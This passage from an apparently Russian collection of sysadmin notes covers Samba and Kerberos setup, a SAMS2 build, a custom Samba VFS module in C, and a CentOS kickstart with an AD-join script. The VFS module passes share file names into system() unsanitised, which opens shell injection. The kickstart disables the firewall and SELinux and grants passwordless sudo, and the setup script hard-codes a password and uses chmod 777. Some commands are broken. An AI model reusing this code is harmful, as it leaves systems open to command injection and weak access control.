       echo 'security = ADS' >> /etc/samba/smb.conf
       echo 'workgroup = ALLURAUTO' >> /etc/samba/smb.conf
       echo 'realm = example.com' >> /etc/samba/smb.conf
       echo 'winbind uid = 10000-20000' >> /etc/samba/smb.conf
       echo 'winbind gid = 10000-20000' >> /etc/samba/smb.conf
       echo 'winbind enum users = yes' >> /etc/samba/smb.conf
       echo 'winbind enum groups = yes' >> /etc/samba/smb.conf
       echo 'winbind use default domain = yes' >> /etc/samba/smb.conf
       echo 'local master = no' >> /etc/samba/smb.conf
       echo 'client use spnego = yes' >> /etc/samba/smb.conf
       echo 'ntlm auth = yes' >> /etc/samba/smb.conf
       echo 'client ntlmv2 auth = yes' >> /etc/samba/smb.conf
       echo 'log file = /var/log/samba/log.%m' >> /etc/samba/smb.conf
       echo 'max log size = 1000' >> /etc/samba/smb.conf
       echo 'syslog = 0' >> /etc/samba/smb.conf
       echo '' >> /etc/samba/smb.conf
       echo '[downloads]' >> /etc/samba/smb.conf
       echo '   comment = MyDLP Appliance Downloads' >> /etc/samba/smb.conf
       echo '   path = /usr/share/mydlp/endpoint' >> /etc/samba/smb.conf
       echo '   read only = yes' >> /etc/samba/smb.conf
       echo '   guest ok = yes' >> /etc/samba/smb.conf
       echo '   public = yes' >> /etc/samba/smb.conf
       echo '   browsable = yes' >> /etc/samba/smb.conf
       echo '   writable = no' >> /etc/samba/smb.conf
    
       echo '[libdefaults]' >> /etc/krb5.conf
       echo 'default_realm = example.com' >> /etc/krb5.conf
       echo 'clockskew = 300' >> /etc/krb5.conf
       echo 'ticket_lifetime = 24000' >> /etc/krb5.conf
       echo '# The following krb5.conf variables are only for MIT Kerberos.' >> /etc/krb5.conf
       echo 'krb4_config = /etc/krb.conf' >> /etc/krb5.conf
       echo 'krb4_realms = /etc/krb.realms' >> /etc/krb5.conf
       echo 'kdc_timesync = 1' >> /etc/krb5.conf
       echo 'ccache_type = 4' >> /etc/krb5.conf
       echo 'forwardable = true' >> /etc/krb5.conf
       echo 'proxiable = true' >> /etc/krb5.conf
       echo'' >> /etc/krb5.conf
       echo '[realms]' >> /etc/krb5.conf
       echo '        example.com = {' >> /etc/krb5.conf
       echo '                kdc = rwdc01.example.com' >> /etc/krb5.conf
       echo '		kdc = rwdc02.example.com' >> /etc/krb5.conf
       echo '                admin_server = rwdc01.example.com' >> /etc/krb5.conf
       echo '                default_domain = example.com' >>    /etc/krb5.conf
       echo '        }' >> /etc/krb5.conf
       echo '' >> /etc/krb5.conf
       echo '   [domain_realm]' >> /etc/krb5.conf
       echo '        .example.com = example.com' >> /etc/krb5.conf
       echo '        example.com = example.com' >> /etc/krb5.conf
       echo '' >> /etc/krb5.conf
       echo '[login]' >> /etc/krb5.conf
       echo '        krb4_convert = true' >> /etc/krb5.conf
       echo '        krb4_get_tickets = false' >> /etc/krb5.conf
       echo '' >> /etc/krb5.conf
       echo '[logging]' >> /etc/krb5.conf
       echo 'kdc = FILE:/var/log/krb5/krb5kdc.log' >> /etc/krb5.conf
       echo 'admin_server = FILE:/var/log/krb5/kadmind.log' >> /etc/krb5.conf
       echo 'default = SYSLOG:NOTICE:DAEMON' >> /etc/krb5.conf
    
    
    
       DEBIAN_FRONTEND=noninteractive apt-get -y -q --force-yes install squid3-common
    
        mkdir -p /var/run/samba/winbindd_privileged/
        chgrp proxy /var/run/samba/winbindd_privileged/
        chmod 0750 /var/run/samba/winbindd_privileged/ 
        /etc/init.d/winbind restart
        mkdir squidsrc
        cd squidsrc
        wget http://sams2.googlecode.com/files/sams-2.0.0-rc2.tar.bz2
        tar xvjf sams-2.0.0-rc2.tar.bz2
       cd sams-2.0.0-rc2
       source /etc/apache2/envvars
       make -f Makefile.cvs
       ./configure
       sed -i -e '6000s/absdir=.*/absdir="\\/usr\\/lib"/' libtool
       cd src
       mv samsuser.h samsuser.kmp
       mv dbquery.h dbquery.kmp
       mv template.h template.kmp 
       mv logger.h logger.kmp
       mv urlgroup.h urlgroup.kmp
       mv squidlogline.h squidlogline.kmp
       mv dbconn.h dbconn.kmp
       mv proxy.h proxy.kmp
       ls -la *.kmp
       sed 's/enum usrStatus/enum usrStatus : long/' samsuser.kmp > samsuser.h
       sed 's/enum VarType/enum VarType : long/' dbquery.kmp > dbquery.h
       sed 's/enum PeriodType/enum PeriodType : long/' template.kmp > template.h
       sed 's/enum LogKind/enum LogKind : long/g;s/enum LoggerEngine/enum LoggerEngine : long/g' logger.kmp >  logger.h
       sed 's/enum accessType/enum accessType : long/' urlgroup.kmp > urlgroup.h
       sed 's/enum logCacheResult/enum logCacheResult : long/g;s/enum logPeerStatus/enum logPeerStatus : long/g;s/enum logHTTPStatus {/enum logHTTPStatus : long {/g' squidlogline.kmp >  squidlogline.h
       sed 's/enum DBEngine/enum DBEngine : long/' dbconn.kmp > dbconn.h
       sed 's/enum TrafficType/enum TrafficType : long/g;s/enum usrAuthType/enum usrAuthType : long/g;s/enum RedirType/enum RedirType : long/g;s/enum ParserType/enum ParserType : long/g;s/enum CharCase/enum CharCase : long/g' proxy.kmp >  proxy.h
       cd ..
       make
       make install
       sed -i -e 's/DB_USER=/DB_USER=sams/' /usr/local/etc/sams2.conf
       sed -i -e 's/DB_PASSWORD=/DB_PASSWORD='Meteor2014'/' /usr/local/etc/sams2.conf
       sed -i -e 's/squid/squid3/' /usr/local/etc/sams2.conf
       sed -i -e 's|SQUIDCACHEDIR=/usr/local/apache2|SQUIDCACHEDIR=/var/spool/squid3|' /usr/local/etc/sams2.conf
       chown -R www-data:www-data /usr/local/share/sams2/
       chown -R www-data:www-data /usr/local/etc/sams2.conf
       chmod -R 777 /usr/local/share/sams2
    
    
       echo '
       Alias /sams2 /usr/local/share/sams2/
     
       <Directory "/usr/local/share/sams2/">
           Options Indexes FollowSymlinks
           AllowOverride None
           Require all granted
           AddDefaultCharset off
       </Directory>
        
       <Location "/sams2">
           Options Indexes
           Order allow,deny
           Allow from all
       </Location>
     
       ' > /etc/apache2/sites-available/sams2.conf
     
       echo '
       Alias /sams2/doc /usr/local/share/doc/sams2-2.0.0/
        
       <Directory "/usr/local/share/doc/sams2-2.0.0/">
           Options Indexes FollowSymlinks
           AllowOverride None
           Require all granted
           AddDefaultCharset off
       </Directory>
        
       <Location "/sams2/doc">
           Options Indexes
           Order allow,deny
           Allow from all
       </Location>
        
       ' > /etc/apache2/sites-available/doc4sams2.conf
    
        ln -s ../sites-available/sams2.conf /etc/apache2/sites-enabled/
        ln -s ../sites-available/doc4sams2.conf /etc/apache2/sites-enabled/
        ln -s ../sites-available/default /etc/apache2/sites-enabled/default
    
        sed 's/*:80/127.0.0.1:80' /etc/apache2/sites-available/mydlp > /etc/apache2/sites-available/mydlpnew
        sleep 5
        mv /etc/apache2/sites-available/mydlpnew > /etc/apache2/sites-available/mydlp
       sleep 5
    
       service apache2 restart
    
     
    ----* Создание собственного модуля Samba VFS   Автор: Andrey  [комментарии]
     
    Задача
    Необходимо выполнить ряд действий при добавлении/изменении файла в разделе Samba.
    
    Реализация
    Создадим собственный VFS-модуль для Samba, отслеживающий добавление/изменение файлов.
    
    
    vfs_custom.c:
    
         #include <stdlib.h>
         #include <sys/types.h>
         #include <sys/stat.h>
    
         #include "includes.h"
         #include "system/filesys.h"
         #include "system/syslog.h"
         #include "smbd/smbd.h"
    
         #undef DBGC_CLASS
         #define DBGC_CLASS DBGC_VFS
    
         static int custom_close(vfs_handle_struct *handle, files_struct *fsp)
         {
            int result;
    
            result = SMB_VFS_NEXT_CLOSE(handle, fsp);
    
            const char* path = lp_pathname(SNUM(fsp->conn));
            const char* script = lp_parm_const_string(SNUM(handle->conn), "custom", "modify", NULL);
    
            if(script && path && fsp->modified)
            {
                struct stat sb;
                int script_sz = strlen(script);
                int script_ex = stat(script, &sb) == 0 && sb.st_mode & S_IXUSR;
    
                if(script_ex)
                {
                    int path_sz = strlen(path);
                    const char* bname = fsp->fsp_name->base_name;
                    int bname_sz = strlen(bname);
                    char* buf = (char*) calloc(PATH_MAX + script_sz + 1, 1);
    
                    if(buf)
                    {
                        strncat(buf, script, script_sz);
                        strncat(buf, " ", 1);
                        strncat(buf, path, path_sz);
                        strncat(buf, "/", 1);
                        strncat(buf, "\\"", 1);
                        strncat(buf, bname, bname_sz);
                        strncat(buf, "\\"", 1);
    
                        system(buf);
    
                        free(buf);
                    }
                }
            }
    
            return result;
         }
    
         static struct vfs_fn_pointers vfs_custom_fns = {
            .close_fn = custom_close
         };
    
         NTSTATUS vfs_custom_init(void)
         {
            return smb_register_vfs(SMB_VFS_INTERFACE_VERSION, "custom",
                                    &vfs_custom_fns);
         }
    
    Я собрал его по аналогии с модулями из директории modules в исходниках Samba.
    Готовый бинарный файл vfs_custom.o нужно скопировать в рабочую директорию
    модулей, у мня это было /usr/lib/samba/vfs
    
    Настройка vfs_custom:
    
    Настройка заключается в редактировании файла конфигурации smb.conf:
    
       [share]
           vfs objects = custom
           custom:modify = /etc/samba/scripts/modify.sh
    
    В результате при добавлении/изменении файла будет выполняться скрипт
    /etc/samba/scripts/modify.sh filename
    
    Например, сейчас мы можем автоматически делать с новыми/измененными файлами что
    угодно, например уменьшать jpeg картинки если пользователь будет их копировать
    на шару и т.п.
    
    Для того чтобы была реакция на удаление файла необходимо заполнить отдельную
    секцию в коде .unlink = custom_unlink
    
     
    ----* Полуавтоматическое разворачивание рабочих станций CentOS в домене MS Active Directory   Автор: Дмитрий Казаров  [комментарии]
     
    В заметке рассказывается о решении задачи по автоматизации установки новых
    Linux систем и организации управления ими с помощью Active Directory.
    
    Исходные данные:
    
    
  • Домен AD Domain.ru.
  • Дистрибутив CentOS, легально скачанный с сайта CentOS.org (у руководства сейчас пунктик о 100% легальности софта).
  • Очень странный софт спец назначения - 64-битный софт с 32-битным установщиком. Процесс организации установки Linux по сети 1. Готовим сервер установки. 1.1 На сервере виртуалок создаём сервер загрузок из того же CentOS-a с отдельным VLAN-ом и IP адресом 172.17.17.254/24 - основная сетка целиком на MS, лучше её не тревожить... Пока. Сразу ставим туда демоны dhcpd, tftp, nfs, ntpd. Машины заливать будем по NFS - так привычнее. 1.2 Настраиваем на виртуальном сервере DHCP под сетевую загрузку Linux. Правим /etc/dhcp/dhcpd.conf до примерно такого вида: option domain-name "centos"; option domain-name-servers 172.17.17.254; default-lease-time 600; max-lease-time 7200; authoritative; log-facility local7; subnet 172.17.17.0 netmask 255.255.255.0 { range 172.17.17.100 172.17.17.199; option routers 172.17.17.254; filename "pxelinux.0"; next-server 172.17.17.254; } В общем - всё как обычно, кроме пары ключевых параметров: filename и next-server. next-server задаёт IP-адрес tftp-сервера, а filename - файл в папке загрузочных файлов (см следующий пункт). включаем загрузку демона chkconfig dhcpd on и запускаем его service dhcpd start 1.3 Настраиваем tftp Правим файл /etc/xinetd.d/tftp. Точнее в строке disabled ставим значение "no" и в строке server_args ставим те значения, что нам привычны, или оставляем исходные, но запоминаем, куда они указывают. Мне, развлекающемуся с юнихами года так с 1989, привычнее там видеть "-s -vv /tftpboot", что собственно там и оказалось, после моих правок. Создаём саму папку для загрузочных файлов (/tftpboot - из параметра server_args): mkdir /tftpboot Ставим пакет syslinux-а yum install syslinux-4.02-7.el6.x86_64 И копируем PXE-шный загрузчкик в выбранное место: cp /usr/share/syslinux/pxelinux.0 /tftpboot И включаем демон: chkconfig xinetd on service xinetd restart 1.4 Настраиваем NFS Создаём папку для дистрибутива mkdir -p /pub/CentOS Распаковываем туда дистрибутив mkdir -p /mnt/cdrom mount -o loop /путь-к-папке-с-изошником-CentOS/CentOS-6.3-x86_64-bin-DVD1.iso /mnt/cdrom cd /pub/CentOS cp -ra /mnt/cdrom/* . umount /mnt/cdrom mount -o loop /путь-к-папке-с-изошником-CentOS/CentOS-6.3-x86_64-bin-DVD2.iso /mnt/cdrom cp -ra /mnt/cdrom/* . umount /mnt/cdrom Открываем к доступ к папке echo '/pub *(ro,insecure,all_squash)' >> /etc/exports chkconfig nfs on service nfs restart С общей подготовкой сервера - всё. Приступаем к специфичной части. 2. CentOS-овский загрузчик. CentOS, разумеется, для загрузки с CD и DVD использует загрузчик isolinux проекта Syslinux. А значит сделать файл конфигурации загрузки для pxelinux.0, другой загрузчик этого же проекта - не просто, а очень просто. Создаём папку /tftpboot/pxelinux.cfg и папку для дополнительных файлов загрузчика. mkdir -p /tftpboot/pxelinux.cfg Копируем туда под именем default файл конфигурации isolinux-а с дистрибутива CentOS... cd /pub/CentOS/isolinux/ cp isolinux.cfg /tftpboot/pxelinux.cfg/default [[/CODE]] ...и несколько файлов, используемых при загрузке. cp boot.cat boot.msg grub.conf initrd.img splash.jpg TRANS.TBL vesamenu.c32 vmlinuz /tftpboot Добавляем ссылку на файл автоматической инсталяции в параметры ядра. В строки append initrd=initrd.img надо дописать ks=nfs:172.17.17.254:/pub/CentOS-conf/desktop.cfg, где nfs - протокол, по которому надо брать файл конфигурации, 172.17.17.254 - адрес сервера, /pub/CentOS-conf/desktop.cfg - полное имя файла. Получается файл /tftpboot/pxelinux.cfg/default примерно такого вида: default vesamenu.c32 #prompt 1 timeout 80 display boot.msg menu background splash.jpg menu title Welcome to CentOS 6.3! menu color border 0 #ffffffff #00000000 menu color sel 7 #ffffffff #ff000000 menu color title 0 #ffffffff #00000000 menu color tabmsg 0 #ffffffff #00000000 menu color unsel 0 #ffffffff #00000000 menu color hotsel 0 #ff000000 #ffffffff menu color hotkey 7 #ffffffff #ff000000 menu color scrollbar 0 #ffffffff #00000000 label linux menu label ^Install or upgrade an existing system menu default kernel vmlinuz append initrd=initrd.img ks=nfs:172.17.17.254:/pub/CentOS-conf/desktop.cfg label vesa menu label Install system with ^basic video driver kernel vmlinuz append initrd=initrd.img xdriver=vesa nomodeset ks=nfs:172.17.17.254:/pub/CentOS-conf/desktop.cfg label rescue menu label ^Rescue installed system kernel vmlinuz append initrd=initrd.img rescue label local menu label Boot from ^local drive localboot 0xffff label memtest86 menu label ^Memory test kernel memtest append - 3. Проблема совместимости 64-битной ОС с 32-битными приложениями. При наличии 32-битных библиотек у 64-битной ОС ни каких проблем совместимости нет. Но вот не задача: новый yum теперь 32-битные библиотеки ставить не будет. Дело всё в параметре multilib_policy - в 5-ом CentOSе он имел значение all, теперь - best. Как правильно побороть это на этапе установки - не знаю. В Интернете нашёл, как побороть это по-быстрому (http://lists.centos.org/pipermail/centos/2011-July/114513.html). Вытаскиваем из архива файл yuminstall.py во временную папку mkdir /tmp/1 cd /tmp/1 rpm2cpio /pub/CentOS/Packages/anaconda-13.21.176-1.el6.centos.x86_64.rpm | cpio -id ./usr/lib/anaconda/yuminstall.py Добавляем строку multilib_policy=all после строки [main], где-то 1252 строка файла. Можно применить такой патчик: cd usr/lib/anaconda/ cat <<EOP > patch --- yuminstall.py.orig 2012-12-25 13:49:06.979604951 +0400 +++ yuminstall.py 2012-12-25 13:51:15.433740741 +0400 @@ -1250,6 +1250,7 @@ buf = """ [main] +multilib_policy=all installroot=%s cachedir=/var/cache/yum keepcache=0 EOP patch < patch Кладём подправленный файл в папку, откуда его точно заглотит инсталлятор: mkdir /pub/CentOS/RHupdates/ cp yuminstall.py /pub/CentOS/RHupdates/ 4. Создание конфигурации Kickstart. Теперь надо создать конфигурационный файл инсталлятора. Сделать это проще всего в графическом конфигураторе system-config-kickstart yum install system-config-kickstart system-config-kickstart Запускается простой Х-овый интерфейс выбора параметров. Заполняем его по своему усмотрению, ключевыми являются закладки "Метод установки" и "Сценарий после установки". Т.к. я изначально решил устанавливать по NFS в методе установки указываем "Выполнить новую установку", "Установочный носитель" - NFS, "Сервер NFS" - 172.17.17.254 и "Каталог NFS" - /pub/CentOS. Содержимое закладки "Сценарий после установки" можно скопировать из примера конфигурационного файла, приведённого ниже, между полями %post и %end. Пакеты выбираем по собственному вкусу, но для интеграции с Active Directory необходимы samba-winbind krb5-workstation openldap-clients их можно выбрать в "Выбор пакетов" -> "Базовая система" -> "Клиент каталогов". На всякий случай, мало ли на какой каталог придётся переползать, я ставлю вообще все пакеты этого подраздела. Сохраняем файл конфигурации /pub/CentOS-conf/desktop.cfg - именно на него ссылаются параметры ks из п.2. У меня файл /pub/CentOS-conf/desktop.cfg получился таким (он содержит комментарии на русском, их лучше удалить перед использованием - не хватало ещё глюков из-за кириллицы): #platform=x86, AMD64, or Intel EM64T #version=DEVEL # Firewall configuration - Внутри локалки firewall по большей части мешает. firewall --disabled # Install OS instead of upgrade install # Use NFS installation media nfs --server=172.17.17.254 --dir=/pub/CentOS # Root password rootpw --iscrypted <зашифрованный пароль> # System authorization information auth --useshadow --passalgo=md5 --enablecache # Use text mode install text # Run the Setup Agent on first boot firstboot --disable # System keyboard keyboard ru # System language lang ru_RU # SELinux configuration selinux --disabled # Installation logging level logging --level=info ## Turnoff power after installation # Удобно при большом кол-ве одновременно заливаемых компов - готовые выключены, # и хорошо заметно, который можно уносить. Кикстарт не понимает всей прелести такого # и этот параметр приходится дописывать руками. poweroff # System timezone timezone Europe/Moscow # Network information network --bootproto=dhcp --device=eth0 --onboot=on # System bootloader configuration bootloader --location=mbr # Clear the Master Boot Record zerombr # Partition clearing information clearpart --all --initlabel # Disk partitioning information. # диски на компьютерах сейчас просто огромные, место жалеть не приходится part /boot --fstype="ext4" --size=1024 part swap --fstype="swap" --recommended part / --fstype="ext4" --size=131072 part /home --fstype="ext4" --grow --size=1 # # А вот тут - самое основное # Скрипт выполняется после всех основных действий по установки, в том числе # после заливки софта, но chroot-нутым в подготовленную машину. # %post # Скрипт создаётся в папке /tmp настраиваемого компьютера. Незачем ему там храниться. rm -f $0 # Говорим yum-у и впредь ставить 32-битные модули вместе с 64-битными. sed -i '/main/a multilib_policy=all' /etc/yum.conf # Делаем группу wheels истинно админской, чтобы даже пароль не спрашивала при sudo [ -d /etc/sudoers.d ] || mkdir /etc/sudoers.d echo '%root ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers.d/rootgrp chmod 0440 /etc/sudoers.d/rootgrp assureFileFolder() { local d=`dirname $1`; [ -d "$d" ] && return mkdir -p "$d" } # Конфигурация переключения раскладок клавиатуры в KDE kxkbrcFile=/etc/skel/.kde/share/config/kxkbrc assureFileFolder ${kxkbrcFile} cat <<EOKXKBRC > ${kxkbrcFile} [Layout] DisplayNames=us,ru LayoutList=us,ru LayoutLoopCount=-1 Model=pc101 Options=grp_led:scroll,grp:caps_toggle,grp:alt_shift_toggle,grp:shifts_toggle ResetOldOptions=true ShowFlag=true ShowLabel=true ShowLayoutIndicator=true ShowSingle=true SwitchMode=Window Use=true EOKXKBRC # Конфигурация локали KDE kdeglobFile=/etc/skel/.kde/share/config/kdeglobals assureFileFolder ${kdeglobFile} cat <<EOKGL > ${kdeglobFile} [Locale] Country=ru DateFormat=%A %d %B %Y Language=ru EOKGL # Конфигурация правописания KDE. kdespellCfg=/etc/skel/.kde/share/config/sonnetrc assureFileFolder ${kdespellCfg} cat <<EOKSPL > ${kdespellCfg} [Spelling] backgroundCheckerEnabled=true checkUppercase=true defaultClient= defaultLanguage=ru ignore_ru= skipRunTogether=true EOKSPL # Конфигурация переключения раскладок клавиатуры в GNOME. # Индикатор раскладок автоматически запускается только с GNOME 2.30, # а текущий гном в дистрибутиве Центоса - 2.28... # Так, что надо либо добавить сюда запуск индикатора, либо настраивать это руками... # Но оба этих упражнения - в другой раз. gnomekbdbase='/etc/skel/.gconf' gnomekbdfile='desktop/gnome/peripherals/keyboard/kbd/%gconf.xml' gkd=`dirname "${gnomekbdfile}"` mkdir -p "${gnomekbdbase}/${gkd}" d="${gkd}"; while [ "x${d}" != "x." ]; do touch ${gnomekbdbase}/$d/'%gconf.xml'; d=`dirname $d`; done sed 's/ /\\t/g' <<EOGCONFKBD > ${gnomekbdbase}/${gnomekbdfile} <?xml version="1.0"?> <gconf> <entry name="options" mtime="1357150396" type="list" ltype="string"> <!-- li type="string"> <stringvalue>terminate terminate:ctrl_alt_bksp</stringvalue> </li --> <li type="string"> <stringvalue>grp_led grp_led:scroll</stringvalue> </li> <li type="string"> <stringvalue>grp grp:caps_toggle</stringvalue> </li> <li type="string"> <stringvalue>grp grp:alt_shift_toggle</stringvalue> </li> <li type="string"> <stringvalue>grp grp:shifts_toggle</stringvalue> </li> </entry> </gconf> EOGCONFKBD chmod 0644 ${kxkbrcFile} ${kdeglobFile} ${kdespellCfg} ${gnomekbdbase}/${gnomekbdfile} # Создаём учётные записи для великих гуру - пусть имеют возможность зайти на любой компьютер # Creation of admins for u in guru0 guru1; do useradd -m -p '*' -g wheel -G root $u mkdir /home/$u/.ssh touch /home/$u/.ssh/authorized_keys chown -R $u:wheel /home/$u/.ssh chmod -R go-rwx /home/$u/.ssh done # А сюда вставляем их публичные ключи SSH. cat <<EOAK0 >> /home/guru0/.ssh/authorized_keys EOAK0 cat <<EOAK1 >> /home/guru1/.ssh/authorized_keys EOAK1 # # У меня установка будет в текстовом режиме, а при этом система получает 3 уровень запуска - исправляем на 5-й. sed -i 's/id:[3-5]:initdefault:/id:5:initdefault:/g' /etc/inittab # Монтируем раздел с дистрибутивом mkdir /tmp/pubDnld mount -o ro 172.17.17.254:/pub /tmp/pubDnld # Ставим дополнительные пакеты. rpm -ivh /tmp/pubDnld/Adobe/adobe-release-x86_64-1.0-1.noarch.rpm rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-adobe-linux rpm -i /tmp/pubDnld/Adobe/flash-plugin-11.2.202.258-release.x86_64.rpm # Удаляем ненужные мне глобальные серверы времени и включаем себя как резервный сервер. # Список серверов времени будем получать по DHCP. sed -i.instbak '/^server /s/^/#/;/server[[:space:]]*127/s/^#//;/fudge[[:space:]]*127/s/^#//' /etc/ntp.conf echo 'NTPSERVERARGS=iburst' >> /etc/sysconfig/network # !!! А вот ради этого всё и затевается - ставим скрипт присоединения к домену cp /tmp/pubDnld/CentOS-conf/adsjoin /etc/init.d/ chmod a+x /etc/init.d/adsjoin # Включаем нужные сервисы и выключаем не нужные. chkconfig kdump off chkconfig ntpd on chkconfig adsjoin on %end # Мой список устанавлеваемых пакетов. Создан system-config-kickstart-ом. # %packages @additional-devel @backup-client @base @basic-desktop @cifs-file-server @client-mgmt-tools @console-internet @core @debugging @desktop-debugging @desktop-platform @desktop-platform-devel @development @directory-client @directory-server @eclipse @fonts @general-desktop @graphical-admin-tools @graphics @hardware-monitoring @input-methods @internet-applications @internet-browser @java-platform @kde-desktop @large-systems @legacy-unix @mysql @mysql-client @network-file-system-client @nfs-file-server @office-suite @performance @perl-runtime @php @print-client @remote-desktop-clients @ruby-runtime @russian-support @scientific @server-platform-devel @system-admin-tools @technical-writing @x11 ImageMagick SDL-devel cachefilesd cmake crypto-utils dcraw desktop-file-utils docbook-utils-pdf dump evolution-exchange expect expect gcc-java glade3 glibc-utils gnome-common gnome-devel-docs gnutls-devel gtk2-devel-docs hesinfo hplip hplip-gui i2c-tools icedtea-web inkscape kdebase-devel kdebase-workspace-devel kdegraphics-devel kdelibs-apidocs kdelibs-devel kdemultimedia-devel kdenetwork-devel kdepim-devel kdepimlibs-devel kdesdk kdesdk-devel krb5-appl-clients krb5-pkinit-openssl krb5-workstation ldapjdk libXau-devel libXaw-devel libXinerama-devel libXmu-devel libXpm-devel libXrandr-devel libbonobo-devel libreoffice-base libreoffice-emailmerge libreoffice-headless libreoffice-javafilter libreoffice-ogltrans libreoffice-presentation-minimizer libreoffice-report-builder libreoffice-wiki-publisher libudev-devel libusb-devel libuuid-devel libxslt-devel lm_sensors mc memtest86+ net-snmp-devel netpbm-progs nscd nss-pam-ldapd openldap-clients pam_krb5 pam_ldap perl-Test-Pod perl-Test-Pod-Coverage perl-suidperl pexpect php-mysql planner qt-doc rpmdevtools rpmlint ruby-irb samba samba-winbind screen sox startup-notification-devel systemtap-grapher taskjuggler texinfo tftp thunderbird xchat xfig xmlto-tex xmltoman xorg-x11-proto-devel xrestop xz-devel %end 5. Скрипт интеграции в Active Directory. Собственно, это то, ради чего писалась вся статья. Скрипт достаточно прост, предназначен для использования теми, кто знает, что такое Active Directory и имеет соответствующее звание - Ад-мин. Проверки входных данных есть, но очень слабые. Скрипт выполняет ряд важных действий:
  • Выполняет синхронизацию времени компьютера с доменом. Адреса NTP сервера(-ов) берутся из DHCP. Если синхронизация по чему либо не срабатывает - скрипт запрашивает адрес NTP сервера.
  • Запрашивает имя компьютера и домена.
  • Прописывает эти значения в файлах конфигурации Самбы, Цербера и Лдапа.
  • Запрашивает имя админа и авторизуется им в Цербере.
  • Присоединяет комп к Active Directory.
  • Выполняет ряд дополнительных настроек компьютера. Скрипт /pub/CentOS-conf/adsjoin #!/bin/bash # c#hkconfig: 345 98 1 ### BEGIN INIT INFO # Provides: adsjoin # Default-Start: 3 4 5 # Default-Stop: 0 1 2 6 # Required-Start: # Should-Start: $network # Short-Description: Requests ADS data and joins domain # Description: Asks user to enter ADS domain name, admin account and password. # Configures system to use ADS and joins it. ### END INIT INFO # Source function library. . /etc/init.d/functions FILENAME=/etc/sysconfig/adsjoin [ -z "$HOME" ] && export HOME=/ usage() { echo $"Usage: $0 {start|stop}" } prepareConfig() { # Fix system hostname fhn="${HOSTNAME,,}.${DOMAINNAME_FULL,,}" sed -i.adsjoinbak '/^HOSTNAME=/s/=.*/='$fhn'/' /etc/sysconfig/network hostname ${fhn} # add this name to work echo 127.0.0.1 ${fhn} ${fhn/.*} >> /etc/hosts cat <<EOSMB >> /etc/samba/smb.conf [global] winbind refresh tickets = true kerberos method = secrets and keytab EOSMB cat <<EOPWB >> /etc/security/pam_winbind.conf krb5_auth = yes cached_login = yes krb5_ccache_type = FILE EOPWB # --winbindtemplateprimarygroup=users \\ basedn=$(echo ${DOMAINNAME_FULL,,} | sed 's/^\\.*/dc=/;s/\\.*$//;s/\\.\\.*/,dc=/g') authconfig --update \\ --enablelocauthorize --enablecache \\ --enablekrb5realmdns --enablekrb5kdcdns \\ --ldapserver=ldap://${DOMAINNAME_FULL,,}/ --ldapbasedn=${basedn} \\ --enablemkhomedir --winbindtemplatehomedir=/home/%U --winbindtemplateshell=/bin/bash \\ --enablewinbindusedefaultdomain --enablewinbindauth --enablewinbind --enablewinbindoffline \\ --smbsecurity=ads --smbrealm=${DOMAINNAME_FULL} --smbworkgroup=${DOMAINNAME_SHORT} --smbservers='*' cat <<EOKRB > /etc/krb5.conf [logging] default = FILE:/var/log/krb5libs.log kdc = FILE:/var/log/krb5kdc.log admin_server = FILE:/var/log/kadmind.log [libdefaults] default_realm = ${DOMAINNAME_FULL} dns_lookup_realm = true dns_lookup_kdc = true ticket_lifetime = 24h renew_lifetime = 7d forwardable = true [domain_realm] .${DOMAINNAME_FULL,,} = ${DOMAINNAME_FULL} ${DOMAINNAME_FULL,,} = ${DOMAINNAME_FULL} EOKRB } askHostDom() { local hn dn while :; do read -p 'Enter HOSTNAME without domain: ' hn [ 0 -eq "$?" -a 4 -le ${#hn} -a ${#hn} -le 15 -a -z "$(expr "$hn" : '[a-zA-Z0-9-]*\\(.*\\)')" ] && break; echo "Wrong value ${hn}" echo "You have to specify HOSTNAME 4 to 15 chars long." echo "Only numbers, latin letter and '-' are allowed." done while :; do read -p 'Enter DOMAINNAME: ' dn [ 0 -eq "$?" -a 6 -le ${#dn} -a -z "$(expr "$dn" : '[.a-zA-Z0-9-]*\\(.*\\)')" ] && break; echo "Wrong value ${dn}" echo "You have to specify DOMAINNAME at least 6 chars long." echo "Only latin letter, numbers, '.' and '-' are allowed." done HOSTNAME="$hn" DOMAINNAME_FULL="${dn^^}" DOMAINNAME_SHORT=${DOMAINNAME_FULL/.*} } askOrgDir() { local od echo 'Enter Organizational directory where to create computer'\\''s account. Defaut is "Computers".' echo 'Example: Site/Unit/Computers' read -p 'Org. dir.: ' od ORG_DIRECTORY="$od" } askAdmAccount() { local un while :; do read -p "Enter Admin account of scpecified domain: " un [ 0 -eq "$?" -a 1 -lt ${#un} ] && break; echo "Wrong value ${un}" echo "You have to specify admin account at least 1 char long." done ADMINACCOUNT="$un" } case "$1" in start) if [ `/usr/bin/id -u` -ne 0 ]; then echo $"ERROR: Only root can run $0" exit 4 fi if [ ! -f /usr/bin/net ]; then echo $"ERROR: samba is not installed" exit 5 fi args="" if [ -f $FILENAME ] && [ ! -z "$(grep 'RUN_ADSJOIN=NO' $FILENAME)" ]; then exit 0 fi . /etc/profile.d/lang.sh /usr/bin/plymouth --hide-splash echo echo '========================================================' echo '============ Joining ADS' echo '========================================================' echo NTPSRVSRC='DHCP' NTPSRVS=$(sed -n 's/^server[[:space:]]*\\([^[:space:]]*\\).*/\\1/p' /etc/ntp.conf| grep -v '^127' | sort -u) while :; do if [ -n "$NTPSRVS" ] ; then if ntpdate -u -b $NTPSRVS then echo "Ok" break; else echo "Can not synchronize to $NTPSRVS" fi fi echo -e "WARNING!!!\\nNO working time servers specified by ${NTPSRVSRC}!" read -p 'Enter NTP server(s) of domain: ' NTPSRVS NTPSRVSRC=user done askHostDom echo prepareConfig echo service rsyslog restart /sbin/chkconfig winbind on RETVAL=255 HOME=/root LOGNAME=root USER=root export HOME LOGNAME USER cntr=3 while [ 0 -lt "$cntr" ]; do askAdmAccount if /usr/bin/kinit "${ADMINACCOUNT}"; then RETVAL=0; break; fi RETVAL=$? echo "Error loging in domain ${DOMAINNAME_FULL}" cntr=$(( $cntr - 1 )) done if [ "$RETVAL" -eq 0 ]; then cntr=3 while [ 0 -lt "$cntr" ]; do askOrgDir if [ -n "${ORG_DIRECTORY}" ]; then ADS_ORG="createcomputer='${ORG_DIRECTORY}'" else ADS_ORG="" fi ( eval "set -x; /usr/bin/net ads join -d 1 -k ${ADS_ORG}" ) 2>&1 | tee /tmp/net-ads-join-$$-$cntr # /usr/bin/net ads join -d 2 -k RETVAL=$? if [ "$RETVAL" -ne 0 ]; then echo 